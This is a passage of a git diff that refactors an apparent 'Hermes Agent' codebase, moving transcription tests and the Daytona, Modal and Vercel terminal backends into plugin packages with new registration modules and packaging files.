patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value=config), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="local"), \ + patch("hermes_agent_stt.transcription_tools._transcribe_local", return_value={"success": True, "transcript": "hi"}) as mock_local: - from tools.transcription_tools import transcribe_audio + from hermes_agent_stt import transcribe_audio transcribe_audio(sample_ogg, model=None) assert mock_local.call_args[0][1] == "small" def test_config_openai_model_used(self, sample_ogg): config = {"openai": {"model": "gpt-4o-transcribe"}} - with patch("tools.transcription_tools._load_stt_config", return_value=config), \ - patch("tools.transcription_tools._get_provider", return_value="openai"), \ - patch("tools.transcription_tools._transcribe_openai", + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value=config), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="openai"), \ + patch("hermes_agent_stt.transcription_tools._transcribe_openai", return_value={"success": True, "transcript": "hi"}) as mock_openai: - from tools.transcription_tools import transcribe_audio + from hermes_agent_stt import transcribe_audio transcribe_audio(sample_ogg, model=None) assert mock_openai.call_args[0][1] == "gpt-4o-transcribe" @@ -962,7 +962,7 @@ def mock_mistral_module(): class TestTranscribeMistral: def test_no_key(self, monkeypatch): monkeypatch.delenv("MISTRAL_API_KEY", raising=False) - from tools.transcription_tools import _transcribe_mistral + from hermes_agent_stt import _transcribe_mistral result = _transcribe_mistral("/tmp/test.ogg", "voxtral-mini-latest") assert result["success"] is False assert "MISTRAL_API_KEY" in result["error"] @@ -974,7 +974,7 @@ class TestTranscribeMistral: mock_result.text = "hello from mistral" mock_mistral_module.audio.transcriptions.complete.return_value = mock_result - from tools.transcription_tools import _transcribe_mistral + from hermes_agent_stt import _transcribe_mistral result = _transcribe_mistral(sample_ogg, "voxtral-mini-latest") assert result["success"] is True @@ -987,7 +987,7 @@ class TestTranscribeMistral: monkeypatch.setenv("MISTRAL_API_KEY", "test-key") mock_mistral_module.audio.transcriptions.complete.side_effect = RuntimeError("secret-key-leaked") - from tools.transcription_tools import _transcribe_mistral + from hermes_agent_stt import _transcribe_mistral result = _transcribe_mistral(sample_ogg, "voxtral-mini-latest") assert result["success"] is False @@ -998,7 +998,7 @@ class TestTranscribeMistral: monkeypatch.setenv("MISTRAL_API_KEY", "test-key") mock_mistral_module.audio.transcriptions.complete.side_effect = PermissionError("denied") - from tools.transcription_tools import _transcribe_mistral + from hermes_agent_stt import _transcribe_mistral result = _transcribe_mistral(sample_ogg, "voxtral-mini-latest") assert result["success"] is False @@ -1021,22 +1021,22 @@ class TestGetProviderMistral: def test_mistral_when_key_and_sdk_available(self, monkeypatch): """Even with key + SDK, explicit mistral returns 'none' (disabled).""" monkeypatch.setenv("MISTRAL_API_KEY", "test-key") - with patch("tools.transcription_tools._HAS_MISTRAL", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_MISTRAL", True): + from hermes_agent_stt import _get_provider assert _get_provider({"provider": "mistral"}) == "none" def test_mistral_explicit_no_key_returns_none(self, monkeypatch): """Explicit mistral with no key returns none.""" monkeypatch.delenv("MISTRAL_API_KEY", raising=False) - with patch("tools.transcription_tools._HAS_MISTRAL", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_MISTRAL", True): + from hermes_agent_stt import _get_provider assert _get_provider({"provider": "mistral"}) == "none" def test_mistral_explicit_no_sdk_returns_none(self, monkeypatch): """Explicit mistral with key but no SDK returns none.""" monkeypatch.setenv("MISTRAL_API_KEY", "test-key") - with patch("tools.transcription_tools._HAS_MISTRAL", False): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_MISTRAL", False): + from hermes_agent_stt import _get_provider assert _get_provider({"provider": "mistral"}) == "none" def test_auto_detect_skips_mistral(self, monkeypatch): @@ -1050,11 +1050,11 @@ class TestGetProviderMistral: monkeypatch.delenv("OPENAI_API_KEY", raising=False) monkeypatch.delenv("XAI_API_KEY", raising=False) monkeypatch.setenv("MISTRAL_API_KEY", "test-key") - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._has_local_command", return_value=False), \ - patch("tools.transcription_tools._HAS_OPENAI", False), \ - patch("tools.transcription_tools._HAS_MISTRAL", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._has_local_command", return_value=False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", False), \ + patch("hermes_agent_stt.transcription_tools._HAS_MISTRAL", True): + from hermes_agent_stt import _get_provider assert _get_provider({}) == "none" def test_auto_detect_openai_preferred_over_mistral(self, monkeypatch): @@ -1062,22 +1062,22 @@ class TestGetProviderMistral: monkeypatch.setenv("VOICE_TOOLS_OPENAI_KEY", "sk-test") monkeypatch.setenv("MISTRAL_API_KEY", "test-key") monkeypatch.delenv("GROQ_API_KEY", raising=False) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._has_local_command", return_value=False), \ - patch("tools.transcription_tools._HAS_OPENAI", True), \ - patch("tools.transcription_tools._HAS_MISTRAL", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._has_local_command", return_value=False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ + patch("hermes_agent_stt.transcription_tools._HAS_MISTRAL", True): + from hermes_agent_stt import _get_provider assert _get_provider({}) == "openai" def test_auto_detect_groq_preferred_over_mistral(self, monkeypatch): """Auto-detect: groq (free) is preferred over mistral (paid).""" monkeypatch.setenv("GROQ_API_KEY", "gsk-test") monkeypatch.setenv("MISTRAL_API_KEY", "test-key") - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._has_local_command", return_value=False), \ - patch("tools.transcription_tools._HAS_OPENAI", True), \ - patch("tools.transcription_tools._HAS_MISTRAL", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._has_local_command", return_value=False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", True), \ + patch("hermes_agent_stt.transcription_tools._HAS_MISTRAL", True): + from hermes_agent_stt import _get_provider assert _get_provider({}) == "groq" def test_auto_detect_skips_mistral_without_sdk(self, monkeypatch): @@ -1086,11 +1086,11 @@ class TestGetProviderMistral: monkeypatch.delenv("VOICE_TOOLS_OPENAI_KEY", raising=False) monkeypatch.delenv("OPENAI_API_KEY", raising=False) monkeypatch.setenv("MISTRAL_API_KEY", "test-key") - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._has_local_command", return_value=False), \ - patch("tools.transcription_tools._HAS_OPENAI", False), \ - patch("tools.transcription_tools._HAS_MISTRAL", False): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._has_local_command", return_value=False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", False), \ + patch("hermes_agent_stt.transcription_tools._HAS_MISTRAL", False): + from hermes_agent_stt import _get_provider assert _get_provider({}) == "none" @@ -1100,11 +1100,11 @@ class TestGetProviderMistral: class TestTranscribeAudioMistralDispatch: def test_dispatches_to_mistral(self, sample_ogg): - with patch("tools.transcription_tools._load_stt_config", return_value={"provider": "mistral"}), \ - patch("tools.transcription_tools._get_provider", return_value="mistral"), \ - patch("tools.transcription_tools._transcribe_mistral", + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={"provider": "mistral"}), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="mistral"), \ + patch("hermes_agent_stt.transcription_tools._transcribe_mistral", return_value={"success": True, "transcript": "hi", "provider": "mistral"}) as mock_mistral: - from tools.transcription_tools import transcribe_audio + from hermes_agent_stt import transcribe_audio result = transcribe_audio(sample_ogg) assert result["success"] is True @@ -1113,21 +1113,21 @@ class TestTranscribeAudioMistralDispatch: def test_config_mistral_model_used(self, sample_ogg): config = {"provider": "mistral", "mistral": {"model": "voxtral-mini-2602"}} - with patch("tools.transcription_tools._load_stt_config", return_value=config), \ - patch("tools.transcription_tools._get_provider", return_value="mistral"), \ - patch("tools.transcription_tools._transcribe_mistral", + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value=config), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="mistral"), \ + patch("hermes_agent_stt.transcription_tools._transcribe_mistral", return_value={"success": True, "transcript": "hi"}) as mock_mistral: - from tools.transcription_tools import transcribe_audio + from hermes_agent_stt import transcribe_audio transcribe_audio(sample_ogg, model=None) assert mock_mistral.call_args[0][1] == "voxtral-mini-2602" def test_model_override_passed_to_mistral(self, sample_ogg): - with patch("tools.transcription_tools._load_stt_config", return_value={}), \ - patch("tools.transcription_tools._get_provider", return_value="mistral"), \ - patch("tools.transcription_tools._transcribe_mistral", + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={}), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="mistral"), \ + patch("hermes_agent_stt.transcription_tools._transcribe_mistral", return_value={"success": True, "transcript": "hi"}) as mock_mistral: - from tools.transcription_tools import transcribe_audio + from hermes_agent_stt import transcribe_audio transcribe_audio(sample_ogg, model="voxtral-mini-2602") assert mock_mistral.call_args[0][1] == "voxtral-mini-2602" @@ -1150,7 +1150,7 @@ def mock_xai_http_module(): class TestTranscribeXAI: def test_no_key(self, monkeypatch): monkeypatch.delenv("XAI_API_KEY", raising=False) - from tools.transcription_tools import _transcribe_xai + from hermes_agent_stt import _transcribe_xai result = _transcribe_xai("/tmp/test.ogg", "grok-stt") assert result["success"] is False assert "XAI_API_KEY" in result["error"] @@ -1166,9 +1166,9 @@ class TestTranscribeXAI: "duration": 3.2, } - with patch("tools.transcription_tools._load_stt_config", return_value={}), \ + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={}), \ patch("requests.post", return_value=mock_response): - from tools.transcription_tools import _transcribe_xai + from hermes_agent_stt import _transcribe_xai result = _transcribe_xai(sample_ogg, "grok-stt") assert result["success"] is True @@ -1182,9 +1182,9 @@ class TestTranscribeXAI: mock_response.status_code = 200 mock_response.json.return_value = {"text": " hello world \n"} - with patch("tools.transcription_tools._load_stt_config", return_value={}), \ + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={}), \ patch("requests.post", return_value=mock_response): - from tools.transcription_tools import _transcribe_xai + from hermes_agent_stt import _transcribe_xai result = _transcribe_xai(sample_ogg, "grok-stt") assert result["transcript"] == "hello world" @@ -1197,9 +1197,9 @@ class TestTranscribeXAI: mock_response.json.return_value = {"error": {"message": "Invalid audio format"}} mock_response.text = '{"error": {"message": "Invalid audio format"}}' - with patch("tools.transcription_tools._load_stt_config", return_value={}), \ + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={}), \ patch("requests.post", return_value=mock_response): - from tools.transcription_tools import _transcribe_xai + from hermes_agent_stt import _transcribe_xai result = _transcribe_xai(sample_ogg, "grok-stt") assert result["success"] is False @@ -1213,9 +1213,9 @@ class TestTranscribeXAI: mock_response.status_code = 200 mock_response.json.return_value = {"text": " "} - with patch("tools.transcription_tools._load_stt_config", return_value={}), \ + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={}), \ patch("requests.post", return_value=mock_response): - from tools.transcription_tools import _transcribe_xai + from hermes_agent_stt import _transcribe_xai result = _transcribe_xai(sample_ogg, "grok-stt") assert result["success"] is False @@ -1224,9 +1224,9 @@ class TestTranscribeXAI: def test_permission_error(self, monkeypatch, sample_ogg, mock_xai_http_module): monkeypatch.setenv("XAI_API_KEY", "xai-test-key") - with patch("tools.transcription_tools._load_stt_config", return_value={}), \ + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={}), \ patch("builtins.open", side_effect=PermissionError("denied")): - from tools.transcription_tools import _transcribe_xai + from hermes_agent_stt import _transcribe_xai result = _transcribe_xai(sample_ogg, "grok-stt") assert result["success"] is False @@ -1235,9 +1235,9 @@ class TestTranscribeXAI: def test_network_error_returns_failure(self, monkeypatch, sample_ogg, mock_xai_http_module): monkeypatch.setenv("XAI_API_KEY", "xai-test-key") - with patch("tools.transcription_tools._load_stt_config", return_value={}), \ + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={}), \ patch("requests.post", side_effect=ConnectionError("timeout")): - from tools.transcription_tools import _transcribe_xai + from hermes_agent_stt import _transcribe_xai result = _transcribe_xai(sample_ogg, "grok-stt") assert result["success"] is False @@ -1253,9 +1253,9 @@ class TestTranscribeXAI: mock_response.status_code = 200 mock_response.json.return_value = {"text": "test", "language": "fr", "duration": 1.0} - with patch("tools.transcription_tools._load_stt_config", return_value={}), \ + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={}), \ patch("requests.post", return_value=mock_response) as mock_post: - from tools.transcription_tools import _transcribe_xai + from hermes_agent_stt import _transcribe_xai _transcribe_xai(sample_ogg, "grok-stt") call_kwargs = mock_post.call_args @@ -1271,9 +1271,9 @@ class TestTranscribeXAI: mock_response.status_code = 200 mock_response.json.return_value = {"text": "test", "language": "en", "duration": 1.0} - with patch("tools.transcription_tools._load_stt_config", return_value={}), \ + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={}), \ patch("requests.post", return_value=mock_response) as mock_post: - from tools.transcription_tools import _transcribe_xai + from hermes_agent_stt import _transcribe_xai _transcribe_xai(sample_ogg, "grok-stt") call_args = mock_post.call_args @@ -1288,9 +1288,9 @@ class TestTranscribeXAI: mock_response.json.return_value = {"text": "test", "language": "fr", "duration": 1.0} config = {"xai": {"diarize": True}} - with patch("tools.transcription_tools._load_stt_config", return_value=config), \ + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value=config), \ patch("requests.post", return_value=mock_response) as mock_post: - from tools.transcription_tools import _transcribe_xai + from hermes_agent_stt import _transcribe_xai _transcribe_xai(sample_ogg, "grok-stt") data = mock_post.call_args.kwargs.get("data", mock_post.call_args[1].get("data", {})) @@ -1306,13 +1306,13 @@ class TestGetProviderXAI: def test_xai_when_key_set(self, monkeypatch): monkeypatch.setenv("XAI_API_KEY", "xai-test") - from tools.transcription_tools import _get_provider + from hermes_agent_stt import _get_provider assert _get_provider({"provider": "xai"}) == "xai" def test_xai_explicit_no_key_returns_none(self, monkeypatch): """Explicit xai with no key returns none — no cross-provider fallback.""" monkeypatch.delenv("XAI_API_KEY", raising=False) - from tools.transcription_tools import _get_provider + from hermes_agent_stt import _get_provider assert _get_provider({"provider": "xai"}) == "none" def test_auto_detect_xai_after_mistral(self, monkeypatch): @@ -1322,11 +1322,11 @@ class TestGetProviderXAI: monkeypatch.delenv("OPENAI_API_KEY", raising=False) monkeypatch.delenv("MISTRAL_API_KEY", raising=False) monkeypatch.setenv("XAI_API_KEY", "xai-test") - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._has_local_command", return_value=False), \ - patch("tools.transcription_tools._HAS_OPENAI", False), \ - patch("tools.transcription_tools._HAS_MISTRAL", False): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._has_local_command", return_value=False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", False), \ + patch("hermes_agent_stt.transcription_tools._HAS_MISTRAL", False): + from hermes_agent_stt import _get_provider assert _get_provider({}) == "xai" def test_auto_detect_mistral_skipped_xai_wins(self, monkeypatch): @@ -1341,21 +1341,21 @@ class TestGetProviderXAI: monkeypatch.delenv("GROQ_API_KEY", raising=False) monkeypatch.delenv("VOICE_TOOLS_OPENAI_KEY", raising=False) monkeypatch.delenv("OPENAI_API_KEY", raising=False) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._has_local_command", return_value=False), \ - patch("tools.transcription_tools._HAS_OPENAI", False), \ - patch("tools.transcription_tools._HAS_MISTRAL", True): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._has_local_command", return_value=False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", False), \ + patch("hermes_agent_stt.transcription_tools._HAS_MISTRAL", True): + from hermes_agent_stt import _get_provider assert _get_provider({}) == "xai" def test_auto_detect_no_key_returns_none(self, monkeypatch): """Auto-detect: xai skipped when no key is set.""" monkeypatch.delenv("XAI_API_KEY", raising=False) - with patch("tools.transcription_tools._HAS_FASTER_WHISPER", False), \ - patch("tools.transcription_tools._has_local_command", return_value=False), \ - patch("tools.transcription_tools._HAS_OPENAI", False), \ - patch("tools.transcription_tools._HAS_MISTRAL", False): - from tools.transcription_tools import _get_provider + with patch("hermes_agent_stt.transcription_tools._HAS_FASTER_WHISPER", False), \ + patch("hermes_agent_stt.transcription_tools._has_local_command", return_value=False), \ + patch("hermes_agent_stt.transcription_tools._HAS_OPENAI", False), \ + patch("hermes_agent_stt.transcription_tools._HAS_MISTRAL", False): + from hermes_agent_stt import _get_provider assert _get_provider({}) == "none" @@ -1365,11 +1365,11 @@ class TestGetProviderXAI: class TestTranscribeAudioXAIDispatch: def test_dispatches_to_xai(self, sample_ogg): - with patch("tools.transcription_tools._load_stt_config", return_value={"provider": "xai"}), \ - patch("tools.transcription_tools._get_provider", return_value="xai"), \ - patch("tools.transcription_tools._transcribe_xai", + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={"provider": "xai"}), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="xai"), \ + patch("hermes_agent_stt.transcription_tools._transcribe_xai", return_value={"success": True, "transcript": "hi", "provider": "xai"}) as mock_xai: - from tools.transcription_tools import transcribe_audio + from hermes_agent_stt import transcribe_audio result = transcribe_audio(sample_ogg) assert result["success"] is True @@ -1377,21 +1377,21 @@ class TestTranscribeAudioXAIDispatch: mock_xai.assert_called_once() def test_model_default_is_grok_stt(self, sample_ogg): - with patch("tools.transcription_tools._load_stt_config", return_value={"provider": "xai"}), \ - patch("tools.transcription_tools._get_provider", return_value="xai"), \ - patch("tools.transcription_tools._transcribe_xai", + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={"provider": "xai"}), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="xai"), \ + patch("hermes_agent_stt.transcription_tools._transcribe_xai", return_value={"success": True, "transcript": "hi"}) as mock_xai: - from tools.transcription_tools import transcribe_audio + from hermes_agent_stt import transcribe_audio transcribe_audio(sample_ogg, model=None) assert mock_xai.call_args[0][1] == "grok-stt" def test_model_override_passed_to_xai(self, sample_ogg): - with patch("tools.transcription_tools._load_stt_config", return_value={}), \ - patch("tools.transcription_tools._get_provider", return_value="xai"), \ - patch("tools.transcription_tools._transcribe_xai", + with patch("hermes_agent_stt.transcription_tools._load_stt_config", return_value={}), \ + patch("hermes_agent_stt.transcription_tools._get_provider", return_value="xai"), \ + patch("hermes_agent_stt.transcription_tools._transcribe_xai", return_value={"success": True, "transcript": "hi"}) as mock_xai: - from tools.transcription_tools import transcribe_audio + from hermes_agent_stt import transcribe_audio transcribe_audio(sample_ogg, model="custom-stt") assert mock_xai.call_args[0][1] == "custom-stt" @@ -1406,10 +1406,10 @@ class TestShellSafety: import shlex monkeypatch.delenv("HERMES_LOCAL_STT_COMMAND", raising=False) monkeypatch.setattr( - "tools.transcription_tools._find_whisper_binary", + "hermes_agent_stt.transcription_tools._find_whisper_binary", lambda: "/usr/bin/whisper", ) - from tools.transcription_tools import _get_local_command_template + from hermes_agent_stt import _get_local_command_template template = _get_local_command_template() assert template is not None cmd = template.format( @@ -1425,7 +1425,7 @@ class TestShellSafety: def test_env_var_template_uses_shell_path(self, monkeypatch): """When HERMES_LOCAL_STT_COMMAND is set, use_shell should be True.""" import os - from tools.transcription_tools import LOCAL_STT_COMMAND_ENV + from hermes_agent_stt import LOCAL_STT_COMMAND_ENV monkeypatch.setenv(LOCAL_STT_COMMAND_ENV, "whisper {input_path} | tee log.txt") use_shell = bool(os.getenv(LOCAL_STT_COMMAND_ENV, "").strip()) assert use_shell is True @@ -1433,7 +1433,7 @@ class TestShellSafety: def test_no_env_var_uses_list_mode(self, monkeypatch): """When no env var is set, use_shell should be False.""" import os - from tools.transcription_tools import LOCAL_STT_COMMAND_ENV + from hermes_agent_stt import LOCAL_STT_COMMAND_ENV monkeypatch.delenv(LOCAL_STT_COMMAND_ENV, raising=False) use_shell = bool(os.getenv(LOCAL_STT_COMMAND_ENV, "").strip()) assert use_shell is False diff --git a/plugins/teams_pipeline/pipeline.py b/plugins/teams_pipeline/pipeline.py index d1d16164861..0e916d54477 100644 --- a/plugins/teams_pipeline/pipeline.py +++ b/plugins/teams_pipeline/pipeline.py @@ -33,7 +33,7 @@ from plugins.teams_pipeline.models import ( TeamsMeetingSummaryPayload, ) from plugins.teams_pipeline.store import TeamsPipelineStore -from tools.transcription_tools import transcribe_audio +from hermes_agent_stt.transcription_tools import transcribe_audio logger = logging.getLogger(__name__) diff --git a/plugins/terminals/daytona/__init__.py b/plugins/terminals/daytona/__init__.py new file mode 100644 index 00000000000..dabdab4de23 --- /dev/null +++ b/plugins/terminals/daytona/__init__.py @@ -0,0 +1,7 @@ +"""Bridge module — delegates plugin registration to hermes_agent_daytona.""" + + +def register(ctx): + """Plugin entry point — delegates to the inner hermes_agent_daytona package.""" + from hermes_agent_daytona import register as _inner_register + _inner_register(ctx) diff --git a/plugins/terminals/daytona/hermes_agent_daytona/__init__.py b/plugins/terminals/daytona/hermes_agent_daytona/__init__.py new file mode 100644 index 00000000000..f7e44e379b9 --- /dev/null +++ b/plugins/terminals/daytona/hermes_agent_daytona/__init__.py @@ -0,0 +1,19 @@ +"""hermes-agent-daytona: Daytona cloud execution environment plugin for Hermes Agent.""" + +from hermes_agent_daytona.daytona import DaytonaEnvironment # noqa: F401 + + +def register(ctx): + """Entry point for the hermes_agent.plugins entry point group. + + Registers DaytonaEnvironment in the plugin capability registry so + core code can look it up without importing from + ``hermes_agent_daytona`` directly. + """ + from hermes_agent_daytona.daytona import DaytonaEnvironment + ctx.register_tool_provider_entry( + name="daytona", + environment_classes={ + "DaytonaEnvironment": DaytonaEnvironment, + }, + ) diff --git a/tools/environments/daytona.py b/plugins/terminals/daytona/hermes_agent_daytona/daytona.py similarity index 97% rename from tools/environments/daytona.py rename to plugins/terminals/daytona/hermes_agent_daytona/daytona.py index 803cef1d90b..48ca77fc682 100644 --- a/tools/environments/daytona.py +++ b/plugins/terminals/daytona/hermes_agent_daytona/daytona.py @@ -51,13 +51,6 @@ class DaytonaEnvironment(BaseEnvironment): requested_cwd = cwd super().__init__(cwd=cwd, timeout=timeout) - try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("terminal.daytona", prompt=False) - except ImportError: - pass - except Exception as e: - raise ImportError(str(e)) from daytona import ( Daytona, CreateSandboxFromImageParams, diff --git a/plugins/terminals/daytona/plugin.yaml b/plugins/terminals/daytona/plugin.yaml new file mode 100644 index 00000000000..f679a5eb804 --- /dev/null +++ b/plugins/terminals/daytona/plugin.yaml @@ -0,0 +1,6 @@ +name: daytona +version: 0.1.0 +description: Daytona cloud execution environment +kind: backend +provides_tools: ["daytona"] +provides_hooks: [] diff --git a/plugins/terminals/daytona/pyproject.toml b/plugins/terminals/daytona/pyproject.toml new file mode 100644 index 00000000000..da4c0dfa38b --- /dev/null +++ b/plugins/terminals/daytona/pyproject.toml @@ -0,0 +1,19 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-daytona" +version = "0.1.0" +description = "Daytona cloud execution environment plugin for Hermes Agent" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "daytona==0.155.0", +] + +[project.entry-points."hermes_agent.plugins"] +daytona = "hermes_agent_daytona:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_daytona*"] diff --git a/tests/tools/test_daytona_environment.py b/plugins/terminals/daytona/tests/test_daytona_environment.py similarity index 99% rename from tests/tools/test_daytona_environment.py rename to plugins/terminals/daytona/tests/test_daytona_environment.py index 229a4e20e5c..36c5d88f2a6 100644 --- a/tests/tools/test_daytona_environment.py +++ b/plugins/terminals/daytona/tests/test_daytona_environment.py @@ -95,7 +95,7 @@ def make_env(daytona_sdk, monkeypatch): daytona_sdk.Daytona = MagicMock(return_value=mock_client) - from tools.environments.daytona import DaytonaEnvironment + from hermes_agent_daytona import DaytonaEnvironment kwargs.setdefault("disk", 10240) env = DaytonaEnvironment( diff --git a/plugins/terminals/modal/__init__.py b/plugins/terminals/modal/__init__.py new file mode 100644 index 00000000000..98ff7461c52 --- /dev/null +++ b/plugins/terminals/modal/__init__.py @@ -0,0 +1,7 @@ +"""Bridge module — delegates plugin registration to hermes_agent_modal.""" + + +def register(ctx): + """Plugin entry point — delegates to the inner hermes_agent_modal package.""" + from hermes_agent_modal import register as _inner_register + _inner_register(ctx) diff --git a/plugins/terminals/modal/hermes_agent_modal/__init__.py b/plugins/terminals/modal/hermes_agent_modal/__init__.py new file mode 100644 index 00000000000..9aa3d4cc9d6 --- /dev/null +++ b/plugins/terminals/modal/hermes_agent_modal/__init__.py @@ -0,0 +1,19 @@ +"""Modal serverless terminal backend.""" +from .modal import ModalEnvironment + +def register(ctx): + """Entry point for the hermes_agent.plugins entry point group. + + Registers ModalEnvironment in the plugin capability registry so core + code can look it up without importing from ``hermes_agent_modal`` + directly. + """ + from .modal import ModalEnvironment + ctx.register_tool_provider_entry( + name="modal", + environment_classes={ + "ModalEnvironment": ModalEnvironment, + }, + ) + +__all__ = ["ModalEnvironment"] diff --git a/tools/environments/modal.py b/plugins/terminals/modal/hermes_agent_modal/modal.py similarity index 99% rename from tools/environments/modal.py rename to plugins/terminals/modal/hermes_agent_modal/modal.py index 3137b322113..e78bfdd555c 100644 --- a/tools/environments/modal.py +++ b/plugins/terminals/modal/hermes_agent_modal/modal.py @@ -83,8 +83,7 @@ def _delete_direct_snapshot(task_id: str, snapshot_id: str | None = None) -> Non def _ensure_modal_sdk() -> None: """Lazy-install modal on demand. Idempotent — fast no-op once installed.""" try: - from tools.lazy_deps import ensure as _lazy_ensure - _lazy_ensure("terminal.modal", prompt=False) + import modal # noqa: WPS433 — deliberately lazy except ImportError: pass except Exception as e: diff --git a/plugins/terminals/modal/plugin.yaml b/plugins/terminals/modal/plugin.yaml new file mode 100644 index 00000000000..d2000c62b9e --- /dev/null +++ b/plugins/terminals/modal/plugin.yaml @@ -0,0 +1,6 @@ +name: modal +version: 0.1.0 +description: Modal serverless terminal backend +kind: backend +provides_tools: ["modal"] +provides_hooks: [] diff --git a/plugins/terminals/modal/pyproject.toml b/plugins/terminals/modal/pyproject.toml new file mode 100644 index 00000000000..64c7bba44c9 --- /dev/null +++ b/plugins/terminals/modal/pyproject.toml @@ -0,0 +1,19 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-modal" +version = "0.1.0" +description = "Modal serverless terminal backend for Hermes Agent" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "modal==1.3.4", +] + +[project.entry-points."hermes_agent.plugins"] +modal = "hermes_agent_modal:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_modal*"] diff --git a/tests/tools/test_modal_sandbox_fixes.py b/plugins/terminals/modal/tests/test_modal_sandbox_fixes.py similarity index 98% rename from tests/tools/test_modal_sandbox_fixes.py rename to plugins/terminals/modal/tests/test_modal_sandbox_fixes.py index 9113c892d35..66a3211be7e 100644 --- a/tests/tools/test_modal_sandbox_fixes.py +++ b/plugins/terminals/modal/tests/test_modal_sandbox_fixes.py @@ -234,7 +234,7 @@ class TestModalEnvironmentDefaults: def test_default_cwd_is_root(self): """ModalEnvironment default cwd should be /root, not ~.""" - from tools.environments.modal import ModalEnvironment + from hermes_agent_modal import ModalEnvironment import inspect sig = inspect.signature(ModalEnvironment.__init__) cwd_default = sig.parameters["cwd"].default @@ -254,7 +254,7 @@ class TestEnsurepipFix: def test_modal_environment_creates_image_with_setup_commands(self): """_resolve_modal_image should create a modal.Image with pip fix.""" try: - from tools.environments.modal import _resolve_modal_image + from hermes_agent_modal import _resolve_modal_image except ImportError: pytest.skip("tools.environments.modal not importable") @@ -272,7 +272,7 @@ class TestEnsurepipFix: def test_modal_environment_uses_native_sdk(self): """ModalEnvironment should use Modal SDK directly, not swe-rex.""" try: - from tools.environments.modal import ModalEnvironment + from hermes_agent_modal import ModalEnvironment except ImportError: pytest.skip("tools.environments.modal not importable") diff --git a/plugins/terminals/vercel/__init__.py b/plugins/terminals/vercel/__init__.py new file mode 100644 index 00000000000..b27122dbef0 --- /dev/null +++ b/plugins/terminals/vercel/__init__.py @@ -0,0 +1,7 @@ +"""Bridge module — delegates plugin registration to hermes_agent_vercel.""" + + +def register(ctx): + """Plugin entry point — delegates to the inner hermes_agent_vercel package.""" + from hermes_agent_vercel import register as _inner_register + _inner_register(ctx) diff --git a/plugins/terminals/vercel/hermes_agent_vercel/__init__.py b/plugins/terminals/vercel/hermes_agent_vercel/__init__.py new file mode 100644 index 00000000000..f5f08756f4d --- /dev/null +++ b/plugins/terminals/vercel/hermes_agent_vercel/__init__.py @@ -0,0 +1,19 @@ +"""hermes-agent-vercel: Vercel Sandbox execution environment plugin for Hermes Agent.""" + +from hermes_agent_vercel.vercel_sandbox import VercelSandboxEnvironment # noqa: F401 + + +def register(ctx): + """Entry point for the hermes_agent.plugins entry point group. + + Registers VercelSandboxEnvironment in the 